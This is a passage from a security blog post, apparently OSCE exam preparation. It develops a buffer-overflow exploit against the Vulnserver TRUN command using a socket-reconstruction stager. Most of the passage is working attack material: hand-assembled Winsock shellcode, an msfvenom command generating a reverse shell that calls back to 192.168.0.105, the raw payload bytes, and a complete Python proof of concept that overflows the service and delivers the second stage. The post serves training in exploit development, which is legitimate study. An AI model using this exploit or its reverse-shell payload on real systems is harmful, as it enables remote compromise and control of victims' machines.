0040252C  -FF25 F4614000    JMP DWORD PTR DS:[&lt;&amp;WS2_32.recv&gt;]        ; WS2_32.recv</pre>
<p>Lets start with Socket syscall . according to MSDN :</p>
<p>https://docs.microsoft.com/en-us/windows/desktop/api/winsock2/nf-winsock2-socket</p>
<p>From the Microsoft Docs ,</p>
<p><strong><span class="hljs-function x-hidden-focus">SOCKET WSAAPI <span class="hljs-title">socket</span><span class="hljs-params x-hidden-focus">( <span class="hljs-keyword">int</span> af, <span class="hljs-keyword">int</span> type, <span class="hljs-keyword">int</span> protocol )</span></span>;</strong></p>
<p>Function takes three parameters , first one address family  ( 2 for IPv4 ) , second type of socket ( we use 2 (SOCK_STREAM  ) ) , and finally protocol (TCP (6))</p>
<p>so our socket call would be as follows :</p>
<pre>socket(2, 1, 6)</pre>
<p>We have to push the parameters onto stack in reverse order and finally move the socket function address to a register and finally call the register.</p>
<p><span style="font-size: 1rem;">And here is the custom shellcode for the following syscall :</span></p>
<pre>83EC 40          SUB ESP,40 #for moving away from EIP

33C0             XOR EAX,EAX
B0 06            MOV AL,6
50               PUSH EAX
B0 01            MOV AL,1
50               PUSH EAX
40               INC EAX
50               PUSH EAX
BB 777C2540      MOV EBX,40257C77 
C1EB 08          SHR EBX,8
FFD3             CALL EBX
8BF8             MOV EDI,EAX</pre>
<p>We see that first we move the ESP to a location far from EIP to prevent stack corruption . We initially clear out register using XOR operation and push the required parameters onto the stack. Finally we move address of socket function onto EBX and call it. Notice we had the function address at <strong>0040257C , </strong>since the address contains null ( which is bad for our shellcode! ) , we make use of SHR operation which would shift right by 8 bits and hence reintroduce the required &#8220;00&#8221; .  finally return address is stored onto EAX register after syscall. we move it to EDI so we can use it further for other operations.</p>
<p><strong>Lets move to the bind syscall :</strong></p>
<p>https://docs.microsoft.com/en-us/windows/desktop/api/winsock/nf-winsock-bind</p>
<p>According to MSDN, bind accepts three parameters as follows.</p>
<pre>bind(socket handle,socket addr struct,16)</pre>
<p>Here is the shellcode snippet for the same :</p>
<pre>33C0             XOR EAX,EAX
50               PUSH EAX
50               PUSH EAX
54               PUSH ESP
59               POP ECX
C601 02          MOV BYTE PTR DS:[ECX],2 #AF_INET value (2) IPV4
C641 03 14       MOV BYTE PTR DS:[ECX+3],16 #listen on port 22
6A 16            PUSH 16
51               PUSH ECX
B3 64            MOV BL,64
57               PUSH EDI
FFD3             CALL EBX</pre>
<p>First we construct our socket addr structure. we do this by zeroing out the registers and pushing two DWORD of zeros then finally getting the address of the pushed values onto ECX registers. then we finally manipulate the values stored at ECX. we know that sock addr requires type of address family ( 2 ) and finally port to bind to ( in this case lets choose port 22 , feel free to use any non free port number to bind to ) . we manipulate the values as desired at ECX.</p>
<p>FInally we push the parameters in reverse order. And since all the socket function address are closer to each other and have similar , we just have to modify lower 8 bits of EBX(it currently holds address of socket function ) , BL to 64 and finally call the register.</p>
<p><strong>Listen Syscall :</strong></p>
<p>https://docs.microsoft.com/en-us/windows/desktop/api/winsock2/nf-winsock2-listen</p>
<p><strong><span class="hljs-function"><span class="hljs-keyword x-hidden-focus">int</span> WSAAPI <span class="hljs-title">listen</span><span class="hljs-params">( SOCKET s, <span class="hljs-keyword">int</span> backlog )</span></span></strong>;</p>
<p>Listen is relatively simple syscall as it only takes two parameters . socket descriptor and finally a backlog counter.</p>
<pre>B3 54            MOV BL,54
6A 7F            PUSH 7F
57               PUSH EDI
FFD3             CALL EBX
</pre>
<p><strong>Accept syscall :</strong></p>
<p>https://docs.microsoft.com/en-us/windows/desktop/api/winsock2/nf-winsock2-accept</p>
<p><strong><span class="hljs-function x-hidden-focus">SOCKET WSAAPI <span class="hljs-title">accept</span><span class="hljs-params">( SOCKET s, sockaddr *addr, <span class="hljs-keyword">int</span> *addrlen )</span></span>;</strong></p>
<p>accept function takes three parameter, in our case we can set last two parameters to null.  accept syscall also return a client socket descriptor that we need for further recv call .</p>
<pre>50               PUSH EAX
50               PUSH EAX
57               PUSH EDI
0B3 4C           MOV BL,4C
FFD3             CALL EBX</pre>
<p><strong>Recv Syscall :</strong></p>
<p>Finally recv syscall accepts the second stage payload and has the following definition :</p>
<p>https://docs.microsoft.com/en-us/windows/desktop/api/winsock/nf-winsock-recv</p>
<p><strong><span class="hljs-function"><span class="hljs-keyword x-hidden-focus">int</span> <span class="hljs-title">recv</span><span class="hljs-params x-hidden-focus">( SOCKET s, <span class="hljs-keyword">char</span> *buf, <span class="hljs-keyword">int</span> len, <span class="hljs-keyword">int</span> flags )</span></span>;</strong></p>
<p>Recv syscall takes 4 parameters , first one is client socket descriptor which was received from previous accept syscall , followed by address of the location to receive and store the user data followed by its length and finally flags ( we can set it to NULL) .</p>
<p>here is our custom shellcode for this :</p>
<pre>8BF8             MOV EDI,EAX
33C0             XOR EAX,EAX
50               PUSH EAX
B4 02            MOV AH,2
50               PUSH EAX
54               PUSH ESP
59               POP ECX
66:83C1 5E       ADD CX,5E
66:83C1 5E       ADD CX,5E
66:83C1 10       ADD CX,10
51               PUSH ECX
57               PUSH EDI
B3 2C            MOV BL,2C
FFD3             CALL EBX</pre>
<p>First we zero out and move the FLAGS ( NULL ) onto the stack followed by setting 2 onto AH ( makes length 512 bytes ) and pushing it . Main part of this custom shellcode begins here. we need to push <strong>*buff </strong> that is address to receive the second stage shellcode. we will calculate it with reference to ESP position . and we need to also make sure , location to receive the payload should be address ahead of current EIP . <strong>so what would happen is , once it executes the recv syscall , our reverse shell payload is received and stored in this location specified by *buff , and EIP continues its execution till it reaches our reverse shell and finally executes it .</strong>  Finally we move client sock address received from accept syscall and call it.</p>
<p>This marks the end of our first stage custom shellcode implementing the socket reconstruction . finally , our we send our second stage shellcode after waiting for a second or two to port 22 . and we get our reverse shell .</p>
<p>Second stage shell code can be generated with the help of msfvenom as follows :</p>
<pre>msfvenom -p windows/shell_reverse_tcp LPORT=4444 LHOST="192.168.0.105" EXITFUNC=thread -b "\x00" -f c</pre>
<p><strong>here is the complete PoC for the same :</strong></p>
<pre>import os
import socket
import sys
from time import sleep

host= "192.168.0.102"
port= 9999

socket_call = "\x83\xEC\x40\x33\xC0\xB0\x06\x50\xB0\x01\x50\x40\x50\xBB\x77\x7C\x25\x40\xC1\xEB\x08\xFF\xD3\x8B\xF8"

bind_call = "\x33\xC0\x50\x50\x54\x59\xC6\x01\x02\xC6\x41\x03\x16\x6A\x10\x51\xB3\x64\x57\xFF\xD3"

listen_call = "\xB3\x54\x6A\x7F\x57\xFF\xD3"

accept_call = "\x50\x50\x57\xB3\x4C\xFF\xD3"

recv_call = "\x8B\xF8\x33\xC0\x50\xB4\x02\x50\x54\x59\x66\x83\xC1\x5E\x66\x83\xC1\x5E\x66\x83\xC1\x10\x51\x57\xB3\x2C\xFF\xD3"


#msfvenom -p windows/shell_reverse_tcp LPORT=4444 LHOST="192.168.0.105" EXITFUNC=thread -b "\x00" -f c

rev_shell = (

"\xb8\xd4\x48\x2c\x12\xd9\xcd\xd9\x74\x24\xf4\x5b\x33\xc9\xb1"
"\x52\x83\xc3\x04\x31\x43\x0e\x03\x97\x46\xce\xe7\xeb\xbf\x8c"
"\x08\x13\x40\xf1\x81\xf6\x71\x31\xf5\x73\x21\x81\x7d\xd1\xce"
"\x6a\xd3\xc1\x45\x1e\xfc\xe6\xee\x95\xda\xc9\xef\x86\x1f\x48"
"\x6c\xd5\x73\xaa\x4d\x16\x86\xab\x8a\x4b\x6b\xf9\x43\x07\xde"
"\xed\xe0\x5d\xe3\x86\xbb\x70\x63\x7b\x0b\x72\x42\x2a\x07\x2d"
"\x44\xcd\xc4\x45\xcd\xd5\x09\x63\x87\x6e\xf9\x1f\x16\xa6\x33"
"\xdf\xb5\x87\xfb\x12\xc7\xc0\x3c\xcd\xb2\x38\x3f\x70\xc5\xff"
"\x3d\xae\x40\x1b\xe5\x25\xf2\xc7\x17\xe9\x65\x8c\x14\x46\xe1"
"\xca\x38\x59\x26\x61\x44\xd2\xc9\xa5\xcc\xa0\xed\x61\x94\x73"
"\x8f\x30\x70\xd5\xb0\x22\xdb\x8a\x14\x29\xf6\xdf\x24\x70\x9f"
"\x2c\x05\x8a\x5f\x3b\x1e\xf9\x6d\xe4\xb4\x95\xdd\x6d\x13\x62"
"\x21\x44\xe3\xfc\xdc\x67\x14\xd5\x1a\x33\x44\x4d\x8a\x3c\x0f"
"\x8d\x33\xe9\x80\xdd\x9b\x42\x61\x8d\x5b\x33\x09\xc7\x53\x6c"
"\x29\xe8\xb9\x05\xc0\x13\x2a\xea\xbd\x1b\xc2\x82\xbf\x1b\x03"
"\x0f\x49\xfd\x49\xbf\x1f\x56\xe6\x26\x3a\x2c\x97\xa7\x90\x49"
"\x97\x2c\x17\xae\x56\xc5\x52\xbc\x0f\x25\x29\x9e\x86\x3a\x87"
"\xb6\x45\xa8\x4c\x46\x03\xd1\xda\x11\x44\x27\x13\xf7\x78\x1e"
"\x8d\xe5\x80\xc6\xf6\xad\x5e\x3b\xf8\x2c\x12\x07\xde\x3e\xea"
"\x88\x5a\x6a\xa2\xde\x34\xc4\x04\x89\xf6\xbe\xde\x66\x51\x56"
"\xa6\x44\x62\x20\xa7\x80\x14\xcc\x16\x7d\x61\xf3\x97\xe9\x65"
"\x8c\xc5\x89\x8a\x47\x4e\xa9\x68\x4d\xbb\x42\x35\x04\x06\x0f"
"\xc6\xf3\x45\x36\x45\xf1\x35\xcd\x55\x70\x33\x89\xd1\x69\x49"
"\x82\xb7\x8d\xfe\xa3\x9d"
)
#625011af

buffer = 'TRUN .' +"A"*2006 + "\xaf\x11\x50\x62"+"\x90"*20+ socket_call+ bind_call+listen_call+accept_call+recv_call+"\x90"*(351-len(socket_call)-len(bind_call)-len(accept_call)-len(listen_call)-len(recv_call))+"\x90"*15+'\r\n'

final_payload = "\x90"*10 + rev_shell

conn = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
conn.connect((host,port))

print conn.recv(1024)

print "sending stager 1 payload "
conn.send((buffer))

print "sleeping for few seconds..."
sleep(1)
print "connecting to bind socket on port 22.."

con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
con.connect((host,22))
print "sending final payload ! set your netcat listener!"
con.send(final_payload)
con.close()
</pre>
<p>Execute and finally get a reverse shell .</p>
<p><img decoding="async" loading="lazy" class="size-full wp-image-659 aligncenter" src="https://barriersec.com/wp-content/uploads/vuln4.png" alt="" width="1589" height="555" srcset="https://barriersec.com/wp-content/uploads/vuln4.png 1589w, https://barriersec.com/wp-content/uploads/vuln4-300x105.png 300w, https://barriersec.com/wp-content/uploads/vuln4-768x268.png 768w, https://barriersec.com/wp-content/uploads/vuln4-1024x358.png 1024w" sizes="(max-width: 1589px) 100vw, 1589px" /></p>
<p>My Github repo containing The POC and other resources :</p>
<p><a href="https://github.com/strikergoutham/OSCE-preparation/blob/master/vulnserver/">https://github.com/strikergoutham/OSCE-preparation/blob/master/vulnserver/</a></p>
<p>And all the technique credits goes to this source!</p>
<p><a href="https://buffered.io/posts/idsecconf-2013-myftpd-challenge/">https://buffered.io/posts/idsecconf-2013-myftpd-challenge/</a></p>
<p>&nbsp;</p>
<p>Hope you enjoyed this article . Until next time! <img src="https://s.w.org/images/core/emoji/14.0.0/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /> good day!</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2019/05/exploiting-vulnserver-trun-command-using-socket-reconstruction-technique/">Exploiting Vulnserver TRUN command using Socket Reconstruction technique</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
